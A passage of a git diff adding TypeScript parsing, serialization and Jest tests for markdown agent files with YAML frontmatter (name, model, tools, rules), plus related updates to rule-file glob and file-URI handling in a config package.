parseAgentFile(example); + + expect(result).toEqual({ + name: "Example Agent / Agent File", + description: "Trying to wrap my head around what are these files", + model: "anthropic/claude-sonnet-4", + tools: "linear-mcp, sentry-mcp:read-alerts, Read, Glob, Bash(git diff:*)", + rules: "org/rule1, org/rule2", + prompt: "This is the prompt", + }); + }); + + test("parses minimal agent file with only name", () => { + const result = parseAgentFile(minimalExample); + + expect(result).toEqual({ + name: "Minimal Agent File", + prompt: "Just a simple prompt", + }); + + // Optional fields should be undefined + expect(result.description).toBeUndefined(); + expect(result.model).toBeUndefined(); + expect(result.tools).toBeUndefined(); + expect(result.rules).toBeUndefined(); + }); + + test("throws error when name field is missing", () => { + expect(() => parseAgentFile(invalidExample)).toThrow( + "Agent file must contain YAML frontmatter with a 'name' field", + ); + }); + + test("throws error when no frontmatter is present", () => { + expect(() => parseAgentFile(noFrontmatterExample)).toThrow( + "Agent file must contain YAML frontmatter with a 'name' field", + ); + }); + + test("throws error with invalid YAML syntax", () => { + expect(() => parseAgentFile(invalidYamlExample)).toThrow(); + }); + + test("handles empty frontmatter with name", () => { + const emptyFrontmatter = ` +--- +name: Empty Test +--- +`.trim(); + + const result = parseAgentFile(emptyFrontmatter); + expect(result).toEqual({ + name: "Empty Test", + prompt: "", + }); + }); + + test("handles multiline prompts", () => { + const multilineExample = ` +--- +name: Multiline Test +--- +Line 1 +Line 2 + +Line 4 with gap +`.trim(); + + const result = parseAgentFile(multilineExample); + expect(result.prompt).toBe("Line 1\nLine 2\n\nLine 4 with gap"); + }); + + test("handles prompts with --- in content", () => { + const dashedContentExample = ` +--- +name: Dashed Content +--- +This has --- in the middle +And more content after +`.trim(); + + const result = parseAgentFile(dashedContentExample); + expect(result.prompt).toBe( + "This has --- in the middle\nAnd more content after", + ); + }); + + test("validates unknown frontmatter fields are allowed", () => { + const extraFieldsExample = ` +--- +name: Extra Fields Test +extraField: should be ignored by schema +--- +Prompt content +`.trim(); + + const result = parseAgentFile(extraFieldsExample); + expect(result.name).toBe("Extra Fields Test"); + expect(result.prompt).toBe("Prompt content"); + // Extra fields should not be in the result + expect("extraField" in result).toBe(false); + }); + + test("parses agent file with tools but no rules", () => { + const toolsOnlyExample = ` +--- +name: Tools Only Agent File +description: An agent file that uses tools but no rules +tools: git, filesystem, search +--- +This agent file uses tools but doesn't define any rules. +`.trim(); + + const result = parseAgentFile(toolsOnlyExample); + expect(result).toEqual({ + name: "Tools Only Agent File", + description: "An agent file that uses tools but no rules", + tools: "git, filesystem, search", + prompt: "This agent file uses tools but doesn't define any rules.", + }); + + // Rules should be undefined + expect(result.rules).toBeUndefined(); + }); + + test("validates required name field type", () => { + const invalidNameType = ` +--- +name: 123 +--- +Prompt +`.trim(); + + expect(() => parseAgentFile(invalidNameType)).toThrow( + "Invalid agent file frontmatter", + ); + }); +}); + +describe("serializeAgentFile", () => { + test("serializes complete agent file correctly", () => { + const agentFile: AgentFile = { + name: "Test Agent File", + description: "A test agent file", + model: "anthropic/claude-3-sonnet", + tools: "tool1, tool2", + rules: "rule1, rule2", + prompt: "This is the test prompt", + }; + + const result = serializeAgentFile(agentFile); + + // Parse it back to verify round-trip consistency + const parsed = parseAgentFile(result); + expect(parsed).toEqual(agentFile); + }); + + test("serializes minimal agent file", () => { + const agentFile: AgentFile = { + name: "Minimal", + prompt: "Simple prompt", + }; + + const result = serializeAgentFile(agentFile); + const parsed = parseAgentFile(result); + expect(parsed).toEqual(agentFile); + }); + + test("filters out undefined values from frontmatter", () => { + const agentFile: AgentFile = { + name: "Test", + description: undefined, + model: "gpt-4", + tools: undefined, + rules: undefined, + prompt: "Test prompt", + }; + + const result = serializeAgentFile(agentFile); + + // Should not contain undefined fields in YAML + expect(result).not.toContain("description"); + expect(result).not.toContain("tools"); + expect(result).not.toContain("rules"); + expect(result).toContain("model: gpt-4"); + + // Verify round-trip + const parsed = parseAgentFile(result); + expect(parsed.name).toBe("Test"); + expect(parsed.model).toBe("gpt-4"); + expect(parsed.description).toBeUndefined(); + expect(parsed.tools).toBeUndefined(); + expect(parsed.rules).toBeUndefined(); + }); + + test("handles empty prompt", () => { + const agentFile: AgentFile = { + name: "Empty Prompt", + prompt: "", + }; + + const result = serializeAgentFile(agentFile); + const parsed = parseAgentFile(result); + expect(parsed.prompt).toBe(""); + }); + + test("preserves multiline prompts", () => { + const agentFile: AgentFile = { + name: "Multiline", + prompt: "Line 1\nLine 2\n\nLine 4", + }; + + const result = serializeAgentFile(agentFile); + const parsed = parseAgentFile(result); + expect(parsed.prompt).toBe(agentFile.prompt); + }); +}); + +describe("round-trip consistency", () => { + test("example agent file maintains consistency", () => { + const parsed = parseAgentFile(example); + const serialized = serializeAgentFile(parsed); + const reparsed = parseAgentFile(serialized); + + expect(reparsed).toEqual(parsed); + }); + + test("minimal agent file maintains consistency", () => { + const parsed = parseAgentFile(minimalExample); + const serialized = serializeAgentFile(parsed); + const reparsed = parseAgentFile(serialized); + + expect(reparsed).toEqual(parsed); + }); +}); + +describe("edge cases", () => { + test("handles Windows line endings", () => { + const windowsExample = example.replace(/\n/g, "\r\n"); + const result = parseAgentFile(windowsExample); + + expect(result.name).toBe("Example Agent / Agent File"); + expect(result.prompt).toBe("This is the prompt"); + }); + + test("handles mixed line endings", () => { + const mixedExample = `---\r\nname: Mixed\n---\r\nPrompt content\n`; + const result = parseAgentFile(mixedExample); + + expect(result.name).toBe("Mixed"); + expect(result.prompt).toBe("Prompt content"); + }); + + test("handles empty name string", () => { + const emptyNameExample = ` +--- +name: "" +--- +Prompt +`.trim(); + + expect(() => parseAgentFile(emptyNameExample)).toThrow( + "Agent file must contain YAML frontmatter with a 'name' field", + ); + }); + + test("handles null name", () => { + const nullNameExample = ` +--- +name: null +--- +Prompt +`.trim(); + + expect(() => parseAgentFile(nullNameExample)).toThrow( + "Agent file must contain YAML frontmatter with a 'name' field", + ); + }); +}); + +describe("parseAgentFileTools", () => { + it("should return empty arrays for undefined tools", () => { + const result = parseAgentFileTools(undefined); + expect(result).toEqual({ tools: [], mcpServers: [], allBuiltIn: false }); + }); + + it("should return empty arrays for empty tools string", () => { + const result = parseAgentFileTools(""); + expect(result).toEqual({ tools: [], mcpServers: [], allBuiltIn: false }); + + const result2 = parseAgentFileTools(" "); + expect(result2).toEqual({ tools: [], mcpServers: [], allBuiltIn: false }); + }); + + it("should parse built-in tools", () => { + const result = parseAgentFileTools("bash, read, edit"); + expect(result).toEqual({ + tools: [{ toolName: "bash" }, { toolName: "read" }, { toolName: "edit" }], + mcpServers: [], + allBuiltIn: false, + }); + }); + + it("should parse built_in keyword", () => { + const result = parseAgentFileTools("built_in"); + expect(result).toEqual({ + tools: [], + mcpServers: [], + allBuiltIn: true, + }); + }); + + it("should parse built_in with other tools", () => { + const result = parseAgentFileTools("built_in, owner/package"); + expect(result).toEqual({ + tools: [{ mcpServer: "owner/package" }], + mcpServers: ["owner/package"], + allBuiltIn: true, + }); + }); + + it("should parse MCP server (all tools)", () => { + const result = parseAgentFileTools("owner/package, another/server"); + expect(result).toEqual({ + tools: [{ mcpServer: "owner/package" }, { mcpServer: "another/server" }], + mcpServers: ["owner/package", "another/server"], + allBuiltIn: false, + }); + }); + + it("should parse specific MCP tools", () => { + const result = parseAgentFileTools( + "owner/package:tool1, owner/package:tool2", + ); + expect(result).toEqual({ + tools: [ + { mcpServer: "owner/package", toolName: "tool1" }, + { mcpServer: "owner/package", toolName: "tool2" }, + ], + mcpServers: ["owner/package"], + allBuiltIn: false, + }); + }); + + it("should parse mixed tool types", () => { + const result = parseAgentFileTools( + "anmcp/serverslug:a_tool, anmcp/serverslug:another_tool, asecond/mcpserver, bash, read, edit", + ); + expect(result).toEqual({ + tools: [ + { mcpServer: "anmcp/serverslug", toolName: "a_tool" }, + { mcpServer: "anmcp/serverslug", toolName: "another_tool" }, + { mcpServer: "asecond/mcpserver" }, + { toolName: "bash" }, + { toolName: "read" }, + { toolName: "edit" }, + ], + mcpServers: ["anmcp/serverslug", "asecond/mcpserver"], + allBuiltIn: false, + }); + }); + + it("should parse mixed tools with built_in keyword", () => { + const result = parseAgentFileTools( + "built_in, anmcp/serverslug:a_tool, asecond/mcpserver", + ); + expect(result).toEqual({ + tools: [ + { mcpServer: "anmcp/serverslug", toolName: "a_tool" }, + { mcpServer: "asecond/mcpserver" }, + ], + mcpServers: ["anmcp/serverslug", "asecond/mcpserver"], + allBuiltIn: true, + }); + }); + + it("should deduplicate MCP servers", () => { + const result = parseAgentFileTools( + "owner/package:tool1, owner/package:tool2, owner/package, other/server", + ); + expect(result).toEqual({ + tools: [ + { mcpServer: "owner/package", toolName: "tool1" }, + { mcpServer: "owner/package", toolName: "tool2" }, + { mcpServer: "owner/package" }, + { mcpServer: "other/server" }, + ], + mcpServers: ["owner/package", "other/server"], + allBuiltIn: false, + }); + }); + + it("should handle extra whitespace", () => { + const result = parseAgentFileTools( + " owner/package:tool1 , bash , other/server ", + ); + expect(result).toEqual({ + tools: [ + { mcpServer: "owner/package", toolName: "tool1" }, + { toolName: "bash" }, + { mcpServer: "other/server" }, + ], + mcpServers: ["owner/package", "other/server"], + allBuiltIn: false, + }); + }); + + it("should handle any MCP server slug format", () => { + expect(() => parseAgentFileTools("invalid-slug")).not.toThrow(); + expect(() => parseAgentFileTools("invalid/slug/extra")).not.toThrow(); + expect(() => + parseAgentFileTools("owner/package:tool, invalid/slug/extra:tool"), + ).not.toThrow(); + }); + + it("should handle valid MCP server slug formats", () => { + const validSlugs = [ + "owner/package", + "owner-name/package-name", + "owner.name/package.name", + "owner_name/package_name", + "owner123/package456", + ]; + + for (const slug of validSlugs) { + expect(() => parseAgentFileTools(slug)).not.toThrow(); + expect(() => parseAgentFileTools(`${slug}:tool`)).not.toThrow(); + } + }); + + it("should handle empty tool names and empty entries", () => { + const result = parseAgentFileTools( + "owner/package:tool1, , owner/package:, bash", + ); + expect(result).toEqual({ + tools: [ + { mcpServer: "owner/package", toolName: "tool1" }, + { mcpServer: "owner/package", toolName: "" }, + { toolName: "bash" }, + ], + mcpServers: ["owner/package"], + allBuiltIn: false, + }); + }); + + describe("whitespace validation in colon-separated MCP tool references", () => { + it("should reject MCP tool reference with space after colon", () => { + expect(() => parseAgentFileTools("owner/slug: tool")).toThrow( + 'Invalid MCP tool reference "owner/slug: tool": colon-separated tool references cannot contain whitespace', + ); + }); + + it("should reject MCP tool reference with space before colon", () => { + expect(() => parseAgentFileTools("owner/slug :tool")).toThrow( + 'Invalid MCP tool reference "owner/slug :tool": colon-separated tool references cannot contain whitespace', + ); + }); + + it("should reject MCP tool reference with spaces around colon", () => { + expect(() => parseAgentFileTools("owner/slug : tool")).toThrow( + 'Invalid MCP tool reference "owner/slug : tool": colon-separated tool references cannot contain whitespace', + ); + }); + + it("should reject MCP tool reference with space in tool name", () => { + expect(() => parseAgentFileTools("owner/slug:my tool")).toThrow( + 'Invalid MCP tool reference "owner/slug:my tool": colon-separated tool references cannot contain whitespace', + ); + }); + + it("should reject MCP tool reference with space in server slug", () => { + expect(() => parseAgentFileTools("owner /slug:tool")).toThrow( + 'Invalid MCP tool reference "owner /slug:tool": colon-separated tool references cannot contain whitespace', + ); + }); + + it("should reject MCP tool reference with tab character", () => { + expect(() => parseAgentFileTools("owner/slug:\ttool")).toThrow( + 'Invalid MCP tool reference "owner/slug:\ttool": colon-separated tool references cannot contain whitespace', + ); + }); + + it("should reject MCP tool reference with newline character", () => { + expect(() => parseAgentFileTools("owner/slug:\ntool")).toThrow( + 'Invalid MCP tool reference "owner/slug:\ntool": colon-separated tool references cannot contain whitespace', + ); + }); + + it("should reject MCP tool reference with multiple spaces", () => { + expect(() => parseAgentFileTools("owner/slug: tool ")).toThrow( + 'Invalid MCP tool reference "owner/slug: tool": colon-separated tool references cannot contain whitespace', + ); + }); + + it("should reject MCP tool reference with leading spaces in tool name", () => { + expect(() => parseAgentFileTools("owner/slug: tool")).toThrow( + 'Invalid MCP tool reference "owner/slug: tool": colon-separated tool references cannot contain whitespace', + ); + }); + + it("should accept valid colon-separated MCP tool reference without whitespace", () => { + const result = parseAgentFileTools("owner/package:tool_name"); + expect(result).toEqual({ + tools: [{ mcpServer: "owner/package", toolName: "tool_name" }], + mcpServers: ["owner/package"], + allBuiltIn: false, + }); + }); + + it("should accept valid MCP tool references with hyphens and underscores", () => { + const result = parseAgentFileTools( + "owner-name/package_name:tool-name_123", + ); + expect(result).toEqual({ + tools: [ + { + mcpServer: "owner-name/package_name", + toolName: "tool-name_123", + }, + ], + mcpServers: ["owner-name/package_name"], + allBuiltIn: false, + }); + }); + + it("should allow whitespace between comma-separated items", () => { + const result = parseAgentFileTools( + "owner/package:tool1, owner/package:tool2 , bash", + ); + expect(result).toEqual({ + tools: [ + { mcpServer: "owner/package", toolName: "tool1" }, + { mcpServer: "owner/package", toolName: "tool2" }, + { toolName: "bash" }, + ], + mcpServers: ["owner/package"], + allBuiltIn: false, + }); + }); + + it("should reject whitespace in one reference but accept valid references in same string", () => { + expect(() => + parseAgentFileTools("owner/package:tool1, owner/package: tool2, bash"), + ).toThrow( + 'Invalid MCP tool reference "owner/package: tool2": colon-separated tool references cannot contain whitespace', + ); + }); + + it("should not reject whitespace in MCP server references without colon", () => { + // Note: This behavior may or may not be desired, but documents current behavior + // Server-only references (no colon) don't trigger the whitespace check + expect(() => parseAgentFileTools("owner /package")).not.toThrow(); + }); + + it("should not reject whitespace in built-in tool names", () => { + // Note: This behavior may or may not be desired, but documents current behavior + // Built-in tools (no slash) don't trigger the whitespace check + expect(() => parseAgentFileTools("my tool")).not.toThrow(); + }); + }); +}); diff --git a/packages/config-yaml/src/markdown/agentFiles.ts b/packages/config-yaml/src/markdown/agentFiles.ts new file mode 100644 index 000000000..4450cda0c --- /dev/null +++ b/packages/config-yaml/src/markdown/agentFiles.ts @@ -0,0 +1,162 @@ +import * as YAML from "yaml"; +import z from "zod"; +import { parseMarkdownRule } from "./markdownToRule.js"; + +/* + Experimental/internal config format for agents +*/ +const agentFileFrontmatterSchema = z.object({ + name: z.string().min(1, "Name cannot be empty"), + description: z.string().optional(), + model: z.string().optional(), + tools: z.string().optional(), // TODO also accept yaml array + rules: z.string().optional(), // TODO also accept yaml array +}); +export type AgentFileFrontmatter = z.infer; + +const agentFileSchema = agentFileFrontmatterSchema.extend({ + prompt: z.string(), +}); +export type AgentFile = z.infer; + +/** + * Parsed agent tool reference + */ +export interface AgentToolReference { + /** MCP server slug (owner/package) if this is an MCP tool */ + mcpServer?: string; + /** Specific tool name - either MCP tool name or built-in tool name */ + toolName?: string; +} + +/** + * Parsed agent tools configuration + */ +export interface ParsedAgentTools { + /** All tool references */ + tools: AgentToolReference[]; + /** Unique MCP server slugs that need to be added to config */ + mcpServers: string[]; + /** Whether all built-in tools are allowed */ + allBuiltIn: boolean; +} + +/** + * Parses and validates an agent file from markdown content + * Agent files must have frontmatter with at least a name + */ +export function parseAgentFile(content: string): AgentFile { + const { frontmatter, markdown } = parseMarkdownRule(content); + + if (!frontmatter.name) { + throw new Error( + "Agent file must contain YAML frontmatter with a 'name' field", + ); + } + + const validationResult = agentFileFrontmatterSchema.safeParse(frontmatter); + + if (!validationResult.success) { + const errorDetails = validationResult.error.issues + .map((issue) => `${issue.path.join(".")}: ${issue.message}`) + .join(", "); + throw new Error(`Invalid agent file frontmatter: ${errorDetails}`); + } + + return { + ...validationResult.data, + prompt: markdown, + }; +} + +/** + * Serializes an Agent file back to markdown with YAML frontmatter + */ +export function serializeAgentFile(agentFile: AgentFile): string { + const { prompt, ...frontmatter } = agentFile; + + // Filter out undefined values from frontmatter + const cleanFrontmatter = Object.fromEntries( + Object.entries(frontmatter).filter(([, value]) => value !== undefined), + ); + + const yamlFrontmatter = YAML.stringify(cleanFrontmatter).trim(); + + return `---\n${yamlFrontmatter}\n---\n${prompt}`; +} + +/** + * Parse agent tools string into structured format + * + * Supports formats: + * - owner/package - all tools from MCP server + * - owner/package:tool_name - specific tool from MCP server + * - ToolName or tool_name - built-in tool + * - built_in - all built-in tools + * + * @param toolsString Comma-separated tools string + * @returns Parsed tools configuration + */ +export function parseAgentFileTools(toolsString?: string): ParsedAgentTools { + if (!toolsString?.trim()) { + return { tools: [], mcpServers: [], allBuiltIn: false }; + } + + const tools: AgentToolReference[] = []; + const mcpServerSet = new Set(); + let allBuiltIn = false; + + const toolRefs = toolsString + .split(",") + .map((t) => t.trim()) + .filter(Boolean); + + for (const toolRef of toolRefs) { + if (toolRef === "built_in") { + // Special keyword for all built-in tools + allBuiltIn = true; + } else if (toolRef.includes("/")) { + // MCP tool reference: "owner/package" or "owner/package:tool_name" + const colonIndex = toolRef.indexOf(":"); + + if (colonIndex > 0) { + // Specific tool: "owner/package:tool_name" + // Reject references with whitespace to prevent silent misconfigurations + if (/\s/.test(toolRef)) { + throw new Error( + `Invalid MCP tool reference "${toolRef}": colon-separated tool references cannot contain whitespace. ` + + `Use format "owner/slug:tool_name" without spaces.`, + ); + } + + const mcpServer = toolRef.substring(0, colonIndex); + const toolName = toolRef.substring(colonIndex + 1); + + tools.push({ mcpServer, toolName }); + mcpServerSet.add(mcpServer); + } else { + // All tools from server: "owner/package" + const mcpServer = toolRef; + + tools.push({ mcpServer }); + mcpServerSet.add(mcpServer); + } + } else { + // Built-in tool + tools.push({ toolName: toolRef }); + } + } + + return { + tools, + mcpServers: Array.from(mcpServerSet), + allBuiltIn, + }; +} + +export function parseAgentFileRules(rules: string) { + return rules + .split(",") + .map((r) => r.trim()) + .filter(Boolean); +} diff --git a/packages/config-yaml/src/markdown/createMarkdownPrompt.test.ts b/packages/config-yaml/src/markdown/createMarkdownPrompt.test.ts new file mode 100644 index 000000000..52c4c5c12 --- /dev/null +++ b/packages/config-yaml/src/markdown/createMarkdownPrompt.test.ts @@ -0,0 +1,108 @@ +import { + createMarkdownWithPromptFrontmatter, + createPromptMarkdown, +} from "./createMarkdownPrompt.js"; + +describe("createMarkdownWithPromptFrontmatter", () => { + test("should create properly formatted markdown with frontmatter", () => { + const frontmatter = { + name: "Test Prompt", + description: "A test prompt", + invokable: true, + }; + const prompt = "This is the prompt content"; + + const result = createMarkdownWithPromptFrontmatter(frontmatter, prompt); + + expect(result).toBe(`--- +name: Test Prompt +description: A test prompt +invokable: true +--- + +This is the prompt content`); + }); + + test("should handle empty frontmatter", () => { + const frontmatter = {}; + const prompt = "Simple prompt content"; + + const result = createMarkdownWithPromptFrontmatter(frontmatter, prompt); + + expect(result).toBe(`--- +{} +--- + +Simple prompt content`); + }); +}); + +describe("createPromptMarkdown", () => { + test("should create properly formatted markdown with all options", () => { + const result = createPromptMarkdown( + "Test Prompt", + "This is the prompt content", + { + description: "A test prompt", + invokable: true, + }, + ); + + expect(result).toBe(`--- +name: Test Prompt +description: A test prompt +invokable: true +--- + +This is the prompt content`); + }); + + test("should handle minimal configuration", () => { + const result = createPromptMarkdown("Simple Prompt", "Simple content"); + + expect(result).toBe(`--- +name: Simple Prompt +--- + +Simple content`); + }); + + test("should handle description only", () => { + const result = createPromptMarkdown("Prompt with Description", "Content", { + description: "Test description", + }); + + expect(result).toBe(`--- +name: Prompt with Description +description: Test description +--- + +Content`); + }); + + test("should trim name and description", () => { + const result = createPromptMarkdown(" Trim Test ", "Content", { + description: " Trimmed Description ", + }); + + expect(result).toBe(`--- +name: Trim Test +description: Trimmed Description +--- + +Content`); + }); + + test("should handle invokable false", () => { + const result = createPromptMarkdown("Invokable False", "Content", { + invokable: false, + }); + + expect(result).toBe(`--- +name: Invokable False +invokable: false +--- + +Content`); + }); +}); diff --git a/packages/config-yaml/src/markdown/createMarkdownPrompt.ts b/packages/config-yaml/src/markdown/createMarkdownPrompt.ts new file mode 100644 index 000000000..c0aeea72b --- /dev/null +++ b/packages/config-yaml/src/markdown/createMarkdownPrompt.ts @@ -0,0 +1,44 @@ +import * as YAML from "yaml"; + +export interface PromptFrontmatter { + name?: string; + description?: string; + invokable?: boolean; +} + +/** + * Creates markdown content with YAML frontmatter for prompts + */ +export function createMarkdownWithPromptFrontmatter( + frontmatter: PromptFrontmatter, + prompt: string, +): string { + const frontmatterStr = YAML.stringify(frontmatter).trim(); + return `---\n${frontmatterStr}\n---\n\n${prompt}`; +} + +/** + * Creates a prompt markdown file content from prompt components + */ +export function createPromptMarkdown( + name: string, + promptContent: string, + options: { + description?: string; + invokable?: boolean; + } = {}, +): string { + const frontmatter: PromptFrontmatter = { + name: name.trim(), + }; + + if (options.description) { + frontmatter.description = options.description.trim(); + } + + if (options.invokable !== undefined) { + frontmatter.invokable = options.invokable; + } + + return createMarkdownWithPromptFrontmatter(frontmatter, promptContent); +} diff --git a/packages/config-yaml/src/markdown/createMarkdownRule.test.ts b/packages/config-yaml/src/markdown/createMarkdownRule.test.ts index 169463953..7a88c165e 100644 --- a/packages/config-yaml/src/markdown/createMarkdownRule.test.ts +++ b/packages/config-yaml/src/markdown/createMarkdownRule.test.ts @@ -85,9 +85,7 @@ Just markdown content.`; expect(parsed.name).toBe(originalFrontmatter.name); expect(parsed.description).toBe(originalFrontmatter.description); - expect(parsed.globs).toEqual( - originalFrontmatter.globs.map((glob) => `/path/to/**/${glob}`), - ); + expect(parsed.globs).toEqual(originalFrontmatter.globs); expect(parsed.alwaysApply).toBe(originalFrontmatter.alwaysApply); expect(parsed.rule).toBe(originalMarkdown); }); @@ -104,7 +102,7 @@ describe("createRuleMarkdown", () => { const parsed = markdownToRule(result, mockPackageId); expect(parsed.description).toBe("Test description"); - expect(parsed.globs).toEqual(["/path/to/**/*.ts", "/path/to/**/*.js"]); + expect(parsed.globs).toEqual(["*.ts", "*.js"]); expect(parsed.alwaysApply).toBe(true); expect(parsed.rule).toBe("This is the rule content"); }); @@ -115,7 +113,7 @@ describe("createRuleMarkdown", () => { const parsed = markdownToRule(result, mockPackageId); expect(parsed.description).toBeUndefined(); - expect(parsed.globs).toBe("/path/to/**/*"); + expect(parsed.globs).toBeUndefined(); expect(parsed.alwaysApply).toBeUndefined(); expect(parsed.rule).toBe("Simple content"); }); @@ -126,7 +124,7 @@ describe("createRuleMarkdown", () => { }); const parsed = markdownToRule(result, mockPackageId); - expect(parsed.globs).toBe("/path/to/**/*.py"); + expect(parsed.globs).toBe("*.py"); }); it("should trim description and globs", () => { @@ -137,7 +135,7 @@ describe("createRuleMarkdown", () => { const parsed = markdownToRule(result, mockPackageId); expect(parsed.description).toBe("spaced description"); - expect(parsed.globs).toBe("/path/to/**/*.ts"); + expect(parsed.globs).toBe("*.ts"); }); it("should handle alwaysApply false explicitly", () => { diff --git a/packages/config-yaml/src/markdown/index.ts b/packages/config-yaml/src/markdown/index.ts index 89e05eb1f..6414936f5 100644 --- a/packages/config-yaml/src/markdown/index.ts +++ b/packages/config-yaml/src/markdown/index.ts @@ -1,3 +1,5 @@ +export * from "./createMarkdownPrompt.js"; export * from "./createMarkdownRule.js"; export * from "./getRuleType.js"; export * from "./markdownToRule.js"; +export * from "./agentFiles.js"; diff --git a/packages/config-yaml/src/markdown/markdownToRule.test.ts b/packages/config-yaml/src/markdown/markdownToRule.test.ts index 9c49ca136..a33caf2e7 100644 --- a/packages/config-yaml/src/markdown/markdownToRule.test.ts +++ b/packages/config-yaml/src/markdown/markdownToRule.test.ts @@ -5,7 +5,7 @@ describe("markdownToRule", () => { // Use a mock PackageIdentifier for testing const mockId: PackageIdentifier = { uriType: "file", - fileUri: "/path/to/file", + fileUri: "file:///path/to/file", }; it("should convert markdown with frontmatter to a rule", () => { @@ -18,7 +18,7 @@ name: Custom Name This is a test rule.`; - const result = markdownToRule(content, mockId); + const result = markdownToRule(content, mockId, "/path/to/"); expect(result.rule).toBe("# Test Rule\n\nThis is a test rule."); expect(result.globs).toBe("/path/to/**/test/**/*.kt"); expect(result.name).toBe("Custom Name"); @@ -33,7 +33,7 @@ globs: "**/test/**/*.kt" This is a test rule.`; - const result = markdownToRule(content, mockId); + const result = markdownToRule(content, mockId, "/path/to/"); expect(result.globs).toBe("/path/to/**/test/**/*.kt"); expect(result.rule).toBe("# Test Rule\n\nThis is a test rule."); expect(result.name).toBe("to/file"); // Should use last two path segments @@ -44,7 +44,7 @@ This is a test rule.`; This is a test rule without frontmatter.`; - const result = markdownToRule(content, mockId); + const result = markdownToRule(content, mockId, "/path/to/"); expect(result.globs).toBe("/path/to/**/*"); expect(result.rule).toBe(content); expect(result.name).toBe("to/file"); // Should use last two path segments @@ -58,7 +58,7 @@ This is a test rule without frontmatter.`; This is a test rule with empty frontmatter.`; - const result = markdownToRule(content, mockId); + const result = markdownToRule(content, mockId, "/path/to/"); expect(result.globs).toBe("/path/to/**/*"); expect(result.rule).toBe( "# Test Rule\n\nThis is a test rule with empty frontmatter.", @@ -85,7 +85,7 @@ name: glob pattern testing This is a test rule.`; - const result = markdownToRule(content, mockId); + const result = markdownToRule(content, mockId, "/path/to/"); expect(result.globs).toBe("/path/to/**/*.ts"); }); @@ -99,7 +99,7 @@ name: glob pattern testing This is a test rule.`; - const result = markdownToRule(content, mockId); + const result = markdownToRule(content, mockId, "/path/to/"); expect(result.globs).toBe("/path/to/**/.gitignore"); }); @@ -115,9 +115,9 @@ name: glob pattern testing const result = markdownToRule(content, { uriType: "file", - fileUri: "/", + fileUri: "file:///", }); - expect(result.globs).toBe("/**/src/**/Dockerfile"); + expect(result.globs).toBe("src/**/Dockerfile"); }); it("should match for multiple globs", () => { @@ -130,7 +130,7 @@ name: glob pattern testing This is a test rule.`; - const result = markdownToRule(content, mockId); + const result = markdownToRule(content, mockId, "/path/to/"); expect(result.globs).toEqual([ "/path/to/**/nested/**/deeper/**/*.rs", "/path/to/**/.zshrc1", @@ -149,10 +149,14 @@ name: glob pattern testing This is a test rule.`; - const result = markdownToRule(content, { - uriType: "file", - fileUri: "/Documents/myproject/.continue/rules/rule1.md", - }); + const result = markdownToRule( + content, + { + uriType: "file", + fileUri: "file:///Documents/myproject/.continue/rules/rule1.md", + }, + "/Documents/myproject/.continue/", + ); expect(result.globs).toBe(".git"); }); }); @@ -166,7 +170,7 @@ globs: "**/test/**/*.kt" This is a test rule.`; - const result = markdownToRule(content, mockId); + const result = markdownToRule(content, mockId, "/path/to/"); expect(result.globs).toBe("/path/to/**/test/**/*.kt"); expect(result.rule).toBe("# Test Rule\n\nThis is a test rule."); expect(result.name).toBe("to/file"); // Should use last two path segments @@ -182,7 +186,7 @@ globs: "**/test/**/*.kt"\r \r This is a test rule.`; - const result = markdownToRule(content, mockId); + const result = markdownToRule(content, mockId, "/path/to/"); expect(result.globs).toBe("/path/to/**/test/**/*.kt"); // The result should be normalized to \n expect(result.rule).toBe("# Test Rule\n\nThis is a test rule."); @@ -200,7 +204,7 @@ invalid: yaml: content This is a test rule.`; // Should treat as only markdown when frontmatter is malformed - const result = markdownToRule(content, mockId); + const result = markdownToRule(content, mockId, "/path/to/"); expect(result.globs).toBe("/path/to/**/*"); expect(result.rule).toBe(content); expect(result.name).toBe("to/file"); // Should use last two path segments @@ -215,7 +219,7 @@ globs: "**/test/**/*.kt" This is a test rule.`; - const result = markdownToRule(content, mockId); + const result = markdownToRule(content, mockId, "/path/to/"); expect(result.name).toBe("to/file"); // Should use last two path segments }); @@ -226,7 +230,7 @@ globs: "**/test/**/*.kt" This is a test rule without a heading.`; - const result = markdownToRule(content, mockId); + const result = markdownToRule(content, mockId, "/path/to/"); expect(result.name).toBe("to/file"); // Should use last two path segments }); @@ -328,7 +332,7 @@ describe("getRuleName", () => { const frontmatter = { name: "Custom Rule Name" }; const id: PackageIdentifier = { uriType: "file", - fileUri: "/path/to/my-rule.md", + fileUri: "file:///path/to/my-rule.md", }; const result = getRuleName(frontmatter, id); @@ -339,29 +343,17 @@ describe("getRuleName", () => { const frontmatter = {}; const id: PackageIdentifier = { uriType: "file", - fileUri: "/long/path/to/rules/my-rule.md", + fileUri: "file:///long/path/to/rules/my-rule.md", }; const result = getRuleName(frontmatter, id); expect(result).toBe("rules/my-rule.md"); }); - - it("should handle file paths with backslashes", () => { - const frontmatter = {}; - const id: PackageIdentifier = { - uriType: "file", - fileUri: "C:\\long\\path\\to\\rules\\my-rule.md", - }; - - const result = getRuleName(frontmatter, id); - expect(result).toBe("rules/my-rule.md"); - }); - it("should handle mixed forward and back slashes", () => { const frontmatter = {}; const id: PackageIdentifier = { uriType: "file", - fileUri: "/path/to\\rules/my-rule.md", + fileUri: "file:///path/to\\rules/my-rule.md", }; const result = getRuleName(frontmatter, id); @@ -372,7 +364,7 @@ describe("getRuleName", () => { const frontmatter = {}; const id: PackageIdentifier = { uriType: "file", - fileUri: "my-rule.md", + fileUri: "file:///my-rule.md", }; const result = getRuleName(frontmatter, id); @@ -383,7 +375,7 @@ describe("getRuleName", () => { const frontmatter = {}; const id: PackageIdentifier = { uriType: "file", - fileUri: "rules/my-rule.md", + fileUri: "file:///rules/my-rule.md", }; const result = getRuleName(frontmatter, id); @@ -409,7 +401,7 @@ describe("getRuleName", () => { const frontmatter = { name: "Override Name" }; const id: PackageIdentifier = { uriType: "file", - fileUri: "/very/long/path/to/rules/original-name.md", + fileUri: "file:///very/long/path/to/rules/original-name.md", }; const result = getRuleName(frontmatter, id); @@ -420,7 +412,7 @@ describe("getRuleName", () => { const frontmatter = { name: "" }; const id: PackageIdentifier = { uriType: "file", - fileUri: "/path/to/rules/my-rule.md", + fileUri: "file:///path/to/rules/my-rule.md", }; const result = getRuleName(frontmatter, id); diff --git a/packages/config-yaml/src/markdown/markdownToRule.ts b/packages/config-yaml/src/markdown/markdownToRule.ts index c4c78dbc9..33a10d867 100644 --- a/packages/config-yaml/src/markdown/markdownToRule.ts +++ b/packages/config-yaml/src/markdown/markdownToRule.ts @@ -1,4 +1,3 @@ -import path from "path"; import * as YAML from "yaml"; import { PackageIdentifier, 